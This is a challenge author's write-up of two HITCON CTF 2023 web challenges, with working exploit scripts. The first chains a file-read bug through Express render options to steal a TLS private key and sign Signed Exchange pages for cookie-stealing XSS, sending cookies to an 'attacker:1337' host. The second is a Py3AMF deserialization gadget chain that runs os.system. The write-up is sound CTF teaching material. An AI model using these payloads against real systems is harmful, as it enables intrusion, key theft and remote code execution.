HITCON CTF 2023 Challenges

I only made 2 challenges these year, great, it's much easier for me to write this write-up :P

Actually I was planning to release 4 challenges in total: I was initially going to create a reverse challenge, but I got too lazy to write it. As for the other web challenge, I had it ready at the time but didn't have time to deploy it. So, maybe see you in another CTF I guess?

Sharer's World

It is a file uploading service, we provided the source code of the app, the admin bot, and also the HTTPS certificate without private key.

TL;DR

Signed Exchange (SXG).

Overview

This is a pretty weird challenge I would say. Let's start by giving a brief introduction about this challenge.

For its functions, users can upload any file with arbitrary custom mime-type to the server, stored in a path like: /file/<uuid>. On the other hand, you can preview it from /preview/<uuid> which is just simply embed the file into a sandboxed iframe:

<iframe src="/file/<uuid>" width="100%" height="500px" sandbox></iframe>

Yeah, we know arbitrary mime-type is pretty dangerous, so there is also a extremely strict CSP (the frame-src directive only exists in the preview page):

default-src 'none'; style-src https://sharer.world/static/simple.css; frame-src https://sharer.world/file/<uuid>

And the sandboxed iframe also keep us from executing JavaScript and other insecure behavior at the preview page.

As a XSS challenge, there is always a reporting page. In our case, players can provide a file uuid, and also their team token. And the backend route will make a request to https://admin-bot.sharer.world/visit?path=/preview/<file_id>&token=<token>. And the bot will try to visit the preview page of your file.

So, where is the flag? Let's take a look at this...

page.setCookie({
    name: "FLAG",
    value: FLAG,
    domain: BOT_HOST,
    path: "/flag",
    secure: true,
    sameSite: "Strict",
});

Yes, it's in the cookie... of https://admin-bot.sharer.world/flag! And there doesn't even have a /flag route. WTF.

Exploitation

First, there is a local file inclusion (LFI) vulnerability, due to this pattern in the /report route: res.render("template", req.body) .

You can read arbitrary file by sending this POST data:

settings[view engine]=js # extension
&settings[views]=/
&settings[layout]=/app/app # file without extension
We use express-mustache, as far as I know you can't get RCE here.

But as a XSS challenge, what file should we read anyway?

Now let me introduce SXG here. It's like a signed webpage, only the domain owner  should be able to sign it. And a SXG is able to deliver arbitrary webpage of that domain. You can even control all the headers and content.

In the second step, you can know there is an SXG extension (1.3.6.1.4.1.11129.2.1.22) in the HTTPS certificates by viewing the fullchain.pem file. Also, it is for both sharer.world and *.sharer.world. It should be obvious since that is the only extension with no name (in most of the viewers).

You can use command openssl x509 -in fullchain.pem -text to view it.

Now, with the first LFI bug, you can read the private key from the server, and sign a SXG by yourself. Which means you can sign arbitrary page for both sharer.world and *.sharer.world. The XSS part is done for now – just sign a XSS page for https://admin-bot.sharer.world/flag.

The last part is reporting. Although it only allows us to submit file uuid, and view /preview/<uuid>, but we can abuse the cert-uri in SXG.

The cert-uri can make arbitrary GET request when a user views that SXG. So just set the cert-uri to https://bot/visit?path=/file/<XSS-SXG-uuid> and upload it. In this way when the bot visit your preview page, the browser will send that GET request in the backgroud to force the bot to visit the SXG file you signed in the previous step.

You can also make admin to visit your own website by using /visit?path=@attacker.com/xss.sxg. It's actually not required to host an SXG file on its own domain.

Note that for the last cert-uri trick, you don't even need to get your SXG signed, and it can bypass all the limitation (SOP, CSP etc.)!

Summarize

  • LFI Read: privkey.pem
  • Generate a SXG for xss-ing https://bot/flag
    -> XSS.sxg
  • Generate a SXG for using cert-uri to CSRF (GET https://bot/visit?path=/file/XSS.sxg)
    -> CSRF.sxg
  • Upload XSS.sxg, CSRF.sxg
  • Report CSRF.sxg

Exploit Script

I use signedexchange to sign the SXGs.

#!/bin/bash

BASE_URL='https://sharer.world'

# upload function
function upload() {
  curl -s $BASE_URL/upload -F "file=@$1;type=$2" | grep -e 'preview' | cut -d'/' -f3
}


curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=fullchain' -o cert.pem
curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=privkey' -o priv.key

~/go/bin/gen-certurl -pem cert.pem > cert.cbor

token="..."

echo "<script>location='http://attacker:1337/?'+document.cookie</script>" > xss.html
~/go/bin/gen-signedexchange \
  -uri "https://admin-bot.sharer.world/flag" \
  -content xss.html \
  -certificate cert.pem \
  -privateKey priv.key \
  -certUrl "data:application/cert-chain+cbor;base64,$(base64 -i cert.cbor)" \
  -validityUrl "https://admin-bot.sharer.world/resource.validity.msg" \
  -o xss.html.sxg

file_id="$(upload 'xss.html.sxg' 'application/signed-exchange;v=b3')"
echo "XSS file_id: $file_id"


touch empty.html
~/go/bin/gen-signedexchange \
  -uri "https://example.com/" \
  -content empty.html \
  -certificate cert.pem \
  -privateKey priv.key \
  -certUrl "https://admin-bot.sharer.world/visit?path=/file/$file_id&token=$token" \
  -validityUrl "https://example.com/resource.validity.msg" \
  -o cert-request.html.sxg

file_id="$(upload 'cert-request.html.sxg' 'application/signed-exchange;v=b3')"
echo "Req file_id: $file_id"
curl "$BASE_URL/report" --data "file_id=$file_id&token=$token"

Write-up by Player

Sharer’s World - HITCON CTF 2023
Sharer’s World - HITCON CTF 2023. GitHub Gist: instantly share code, notes, and snippets.

AMF

A fucking gadget finding challenge. If you are a gadget-finding enjoyer then congratulation. If not, this is a totally time-wasting challenge, sorry for that.

TL;DR

You need to find a deserialization gadget to achieve RCE in Py3AMF.

You can use the TYPE_OBJECT bytecode. It's able to import arbitrary object from arbitrary module and __new__ it. Then you can set arbitrary attribute on that instance. Now try to RCE.

You can find more detail by tracing its code:

Py3AMF/pyamf/amf3.py at master · StdCarrot/Py3AMF
AMF for Python. Contribute to StdCarrot/Py3AMF development by creating an account on GitHub.

Gadget Finding Methodology

TBA

Exploit Script

Maybe I'm just too lazy to explain the gadgets... I'll try to explain them later if I have time.

from pyamf import amf0, amf3, util

AMF = amf3


def serialize(obj):
    stream = util.BufferedByteStream()
    context = AMF.Context()
    encoder = AMF.Encoder(stream, context)
    encoder.writeElement(obj)
    return stream.getvalue()


def deserialize(data):
    stream = util.BufferedByteStream(data)
    context = AMF.Context()
    decoder = AMF.Decoder(stream, context)
    return decoder.readElement()


def serialize_attrs(attrs):
    s = b""
    for k, v in attrs.items():
        s += serialize(k)[1:]
        if isinstance(v, Obj):
            s += v.serialize()
        else:
            s += serialize(v)

    s += serialize(None)
    return s


class Obj:
    def __init__(self, _name, **kwargs):
        self.name = _name
        self.attrs = kwargs

    def serialize(self):
        s = b"\x0a\x0b" + serialize(self.name)[1:]
        s += serialize_attrs(self.attrs)
        return s


serialized = Obj(
    "pyamf.amf3.ByteArray",
    _len_changed=True,
    _len=48763,
    _get_len=Obj(
        "xmlrpc.client._Method",
        _Method__send=Obj(
            "xmlrpc.client._Method",
            _Method__send=Obj(
                "pyamf.remoting.gateway.ServiceWrapper",
                service=Obj(
                    "pdb.Pdb",
                    curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
                    curframe_locals={},
                    stdout=None
                ),
            ),
            _Method__name="do_break",
        ),
        _Method__name="""
        __import__("os").system("id")
        """.strip(), # your exploit here
    ),
).serialize()

# print(len(deserialize(serialized)))

import requests

serialized = b"\x11" + serialized
r = requests.post(
    "http://150846998b1a9bc25ed995d94237bbb3.amf.chal.hitconctf.com/",
    data=b"\x00\x03"
    + b"\x00\x00"
    + b"\x00\x01"
    + b"\x00\x01a"
    + b"\x00\x01b"
    + len(serialized).to_bytes(4, "big") + serialized,
)

print(r.text)
Show Comments